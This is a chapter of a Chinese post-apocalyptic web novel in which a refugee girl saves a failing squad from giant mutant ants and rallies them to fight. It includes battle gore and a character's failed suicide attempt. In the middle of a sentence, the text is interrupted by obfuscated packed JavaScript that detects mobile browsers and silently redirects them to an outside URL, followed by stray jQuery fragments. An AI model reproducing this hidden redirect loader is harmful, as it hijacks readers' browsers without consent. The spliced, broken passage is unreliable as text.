56.冰狱狩猎(三十三)

作品:《在无限废土当怪物之王

    有效。


    但太慢了。


    一只兵蚁从被火焰覆盖到彻底死亡,需要整整五分钟。


    而每隔两分钟就有一只新的兵蚁从那条该死的甬道里钻出来。


    一只巨大且锋利无比的钢钳擦着莲的头皮而过。


    要不是旁边徐雨霖拉了她一把,莲的脑袋早搬家了。


    莲根本没时间道谢,调转枪炮对准了徐雨霖身后。


    在对方错愕的眼神里,巨大的火焰冲射而出。


    撕开重重防护线的巨形白蚁在火焰中狰狞挣扎,暂时退出了防护线外。


    可是这又有什么用呢?


    暗黑的甬道仿佛是兵蚁的孵化地,杀掉一只还会有第二只,第三只钻出来,源源不断,杀之不竭。


    “通讯发出去了没有!”身边有人在吼,声音劈了叉。


    “发出去了!其他小队应该收到信号了!但是……但是还没有回应……”


    完了。


    全完了。


    “敢死队会来救咱们吗……”一个预备队员带着哭腔。


    少年叫刘文亮,旧世界是个公司文员,天赋觉醒是「铁臂」,他刚从流民中选拔出来,以为前途一片光明。


    他忽然想起昨天。


    他穿着那身崭新的制服,站在流民宿舍门口,等那群曾经的舍友发出羡慕的惊叹。


    他们没有让他失望。有人说“你小子发达了”,有人说“以后可别忘了兄弟们”,还有人拍了拍他的肩膀,说“苟富贵勿相忘”。


    他笑着应和,心里却想——


    我们不一样了呢。


    没到头来,自己竟然是第一个死的,那些以前的舍友会笑话他的吧……


    早知如此,他宁愿还住在下层区,吃那些难以下咽的能量棒。


    也好过沦为怪物的食物。


    可是,徐雨霖为什么用那么惊恐的表情看着他呢?她的嘴巴在漫天火光里一张一合,好像在说什么。


    但轰.炸的声音太大,刘文亮一个字也听不见。


    莲也是,她的身体太单薄了,巨大的火炮将她小小的身子体压的弯弯的,像是下一秒就会折断。


    她也在用力朝他喊,刘文亮看到莲额头绷起了青筋。


    可他听不见。


    冲天的炮火声,怪物的嘶鸣声,护甲被撕裂的脆响,火焰.喷射.器沉闷的轰鸣……所有的声音都像隔着一层厚厚的水,闷闷地、远远地。


    像是从另一个世界传来。


    他只听见自己的心跳。


    咚。咚。咚。


    很慢,很沉。


    他后知后觉的发现,那其实不是他的心跳声,而是眼前这只巨型白蚁的吞咽声。


    身子在下一刻腾空。


    他看见一个不断蠕动的咽喉,无数唾液和碎肉从身边滑过,掉进深不见底的深渊里。


    刘文亮知道,很快他的身体也会被嚼碎流进去,那就是他的葬腹之地。


    这次,真的要死了啊。


    不知道为什么,此时此刻,刘文亮竟然觉得有些轻松。


    “不用再担惊受怕了。”


    “终于要离开了。”


    “真是个*蛋的世界。”


    枪口抵住太阳穴,冰凉的触感,隔着皮肤渗进骨头,让他混沌的意识清醒了最后一秒。


    不死在怪物手里。


    这是他身为人类,最后的骨气了。


    ——他扣下扳机。


    咔嚓。


    空的。


    子弹已经在和怪物的战斗中,全部用完了。


    刘文亮举着那支彻底哑火的枪,在半空中愣了一瞬,苦笑不止。


    连死都死不掉呢。


    笑完了。


    他放下枪,抬头,透过白蚁参差的齿缝,最后看了一眼洞顶。


    那些孢子植物还在发光,幽蓝幽蓝的,像旧世界冬夜窗玻璃上的霜花。


    他想起小时候,母亲总会在玻璃上呵一口气,用手指画一个歪歪扭扭的太阳。


    他说,妈,太阳不是圆的吗。


    母亲说,圆的多没意思,你要画你自己的太阳。


    他自己的太阳。


    刘文亮闭上眼睛。


    可是,他的太阳再也不会升起了。


    眼前被亮光闪了一下,那光芒越扩越大。


    一道巨大的创口从怪物头顶一直贯穿到背脊正中线,甲壳边缘整齐得像剖开的鱼腹,粘稠的血浆喷涌而出,掀起一场暗红色的暴雨。


    而在那暴雨的正中央——


    一个少女在那里。


    她穿着一件黑色的已经被血浸透大半的外套,整个人挂在白蚁裂开的躯干上,战术长刀没入至柄。


    她单手握刀,整个人的重量都悬在刀尖上,随着怪物的垂死抽搐而轻微晃动,像是随时可能被震下去。


    火光从她背后照过来,勾勒出她湿漉漉贴在额角的碎发,被血浆糊住半边但仍清晰可见的冷峻轮廓。


    她朝着自己伸出了手。


    刘文亮愣住了。


    那只手好小。


    比他要小的多,手指细长,虎口处残留着握刀磨出的淡红色印记。


    她在对他说话。


    这一次,即便炮火连天,刘文亮也听的清清楚楚。


    “把手给我。”她说。


    刘文亮怔愣,下一秒,毫不犹豫的回握住了那双手。


    柔软的掌心传来像太阳一样炙热的温暖,再睁眼,他已经稳稳落在地上,身后是此起彼伏的声音。


    “救兵来了!”


    “是敢死队的吗?”


    “不,好像是……是个流民。”


    “……而且,只有她一个。”


    庆幸像退潮的海水,取而代之的是更复杂的神情。


    有人别过脸去。有人把刚到嘴边的“得救了”硬生生咽回喉咙。


    有人低头看着自己还在发抖的手,不知道该期待什么。


    只有一个流民。


    只是一个女人。


    有什么用呢?


    他们想。


    鸣禹没有说话。


    他的视线越过众人,落在那个正从白蚁尸骸上跳下的少女身上。


    黑色外套被风鼓起,猎猎作响,沾满血浆的下摆在空中划出一道沉沉的弧。


    那么瘦小的骨架,仿佛一阵风就能吹倒,可她落地时,脚下甚至没有扬起灰尘。


    力量型天赋吗?


    鸣禹在心中快速判断,能把那么沉的战术长刀整个切入怪物背脊,这样的爆发力一定是力量型天赋。


    流民里何时有这种角色的?


    鸣禹正思忖着,那少女忽然扭过头,隔着五六米的距离,他看到对方眼眸狡黠的弯了一下。


    “队长。”


    鹤爻声音不高,透过浓重的血腥味传到所有人的耳朵里。


    “答应我三个条件。”


    “我就——”


    “带你们杀出去。”


    鸣禹愣住了,旋即觉得可笑。


    这里有多少只变异兵蚁?鸣禹没数,大概有几十只吧,而且这个数字还在不断增长。


    地上躺着五六具尸体残骸,他们无不拥有强大的武器和天赋,其中有两个还是他亲手从预备队带出来的兵。


    高爆.火焰.喷射.器需要五分钟才能杀死一只兵蚁。


    她一个人,一把刀。


    凭什么?


    鸣禹的嘴唇动了动,那句“自以为是”几乎已经顶到舌尖——


    可他没说出口。


    因为他忽然发现,自己竟然找不出反驳的理由。


    她说要带他们杀出去。


    而就在几秒前,她确确实实地,从那只兵蚁的口器下,把刘文亮救了回来。


    她当着所有人的面,把一只连火炮都要烧半天的变异兵蚁,从背脊正中一刀剖开。


    甲壳崩裂的声音现在还回荡在他耳膜里,她做到了他做不到的事。


    鸣禹想到刘文亮刚被怪物咬住时,他不是没想过要救他。


    可他迟疑了。


    救了又能怎么样。


    他们都得死在这。


    早死晚死没有区别。


    他将抬起的枪口垂下,可就在这时,这个女人出现了。


    鸣禹从来没有见过那样坚毅的眼神。


    她的刀面带着决绝的气势,毫不迟疑的刺向怪物。


    似乎什么都不能撼动她的决心。


    毁天灭地。


    不死不休。


    这种眼神,甚至连在夜鹄脸上都不曾出现过。


    血浆顺着战术长刀的刀面滴在地上,很快积出一片小水洼,鸣禹盯了一会,鬼使神差,他点头。


    “好,我答应你了。”


    “……队、队长?”有人不可置信。


    鸣禹不理会,只问鹤爻:“你的条件是什么?”


    “第一,在走出这个洞穴之前,你们所有人都得听我指挥,若有违令者,我会第一个杀了他。”


    鸣禹没接话,他转向身后那群面色灰败的队员,喝道:


    “都听见了?”


    沉默。


    十几个人,没有一个吭声。


    有人别过脸。有人低头盯着自己的脚尖。


    不相信。不服气。不情愿。


    直到刘文亮站了出来。


    他腿还在抖,护甲碎了一半,脸上糊着没擦干净的血,可他站到了鹤爻身侧,站得笔直。


    “听明白了!”


    声音像从喉咙里硬撕出的,但响得整个洞穴都能听见。


    所有人都被这喊声怔住了。


    就是眼前这个人。


    救了连队长


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186492|194206||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的救不了的人不是吗?


    相信她吧。


    相信她一次吧。


    也相信自己一次吧。


    众人脑子绷得太久的弦,终于被人扯断了,几秒后,他们齐声吼:


    “听明白了!”


    “后面的条件,等杀光它们再说不迟。”鹤爻把爆裂弩箭握在手里,迅速安排人员分工。


    每一个位置。


    每一分钟该做什么。


    她说得很快,没有停顿,像这张作战图已经在脑子里排演过一百遍。


    原本还心存迟疑的人,此刻眼中只剩下崇拜与郑重。


    鹤爻最后目光落在莲身上。


    “等会由你带队,带上几个人用高爆.火焰.喷射.器打前锋。”


    “位置就瞄准那些怪物的眼睛,十秒就撤,会有其他人近战队员贴身去打,听清楚了没有?”


    莲以为自己出现幻听了。


    带队?打前锋?


    这是她二十多年字典里从来没有出现过的字眼。


    这简直是在开玩笑,她下意识摇头,鹤爻盯着她:“有什么问题?”


    莲解释:“我、我不是预备队的,我在基地只是个文员,我的天赋是探察系,只负责——”


    “你做不到吗?”


    “……什么?”莲愣了一下。


    “我问你,是做不到吗?”


    莲张了张嘴,喉咙里像塞了团浸水的棉花,这叫什么问题。


    答案不是明摆着的吗?


    她没受过战斗训练,没扛过火枪,没上过战场,没杀过任何一只怪物,更别说带队打前锋。


    她在旧世界只是个普通幼师。


    这种事情,她怎么可能做得到。


    “往前看。”


    鹤爻的一只手搭在莲的右肩上,将她转了一个方向。


    “告诉我,你看到什么了?”


    “……怪物。”


    “它们的眼睛呢,里面有什么。”


    十几只幽绿的眼睛,在火光映照下像无数盏漂浮的鬼火。


    莲的瞳孔剧烈收缩。


    可就在下一秒,她看见了另一样东西,她的胸口像是被闷锤砸过,那不是凶光,那是——


    “恐惧。”


    鹤爻的声音很轻。


    “它们在怕你。”


    莲的呼吸停了。


    鹤爻声音冷静:“我刚刚在外围都看到了,是你,在生死一瞬间扛起枪,补上了即将溃散的防线空缺。”


    “是你把那只最大的兵蚁烧的连连后退,地上那三只白蚁也都是你烧死的。”


    “即便没有经过训练,但你比预备队其他人瞄得更准,扣得更稳,反应速度也更快,你几乎没有停顿。”


    鹤爻顿了顿。


    “而且,你没有一枪打空。”


    那句“怎么可能”差点脱口而出,可是话到嘴边,莲却什么都说不出来。


    因为鹤爻说的是事实。


    她真的可以吗?


    莲觉得此刻的灵魂被生生撕成了两半,一个不断的拼命拉着她往后躲,告诉她,她只适合做温室里的花朵。


    可又有一个声音不断的将她往外拉,那声音越来越大,越来越响。


    下一刻,莲攥紧了火枪的握把。


    她指尖很凉,但胸膛却滚烫。


    有什么东西碎了,又有什么仿佛从撕裂的心底种下根须,野蛮生长。


    “我做得到。”


    莲这样回答鹤爻。


    这一次,她没有发抖。


    “AP. LUT!!”


    “UR AM. LUT AR.”


    “AK.LUT. EZ.NLUT PP.LUT SS!”


    “LUT NEAK. EL!!”


    那只近三米高的白蚁开口,深红色的口器翕张,发出低沉的摩擦声。


    “它在说的什么鸟语?”鹤爻说。


    徐雨霖立刻翻译:


    “傲慢的人类!”


    “别试图挣扎了。”


    “没有用的,你们最后只会哭着喊着,成为我们的食物!”


    “蚁族,是不可战胜的!!”


    鹤爻笑了一下,把脸转向众人,“都听到了吗,各位。”


    “这些虫子,在瞧不起咱们?”


    她将长刀上的血浆挥在地上,横刀在侧,双眸生出些兴奋的光来。


    “是时候,给它们点颜色瞧瞧了。”


    “拿出身为人类的骄傲和勇气来。”


    “让它们看清楚——


    “谁,才是不可战胜的!”


    鹤爻的身后,刚才还在等死的人,因为这句话,不约而同地往前迈了半步,双眼赤红。


    十几道呼吸交织着烧起来。


    从恐惧颤抖,到热血滚烫。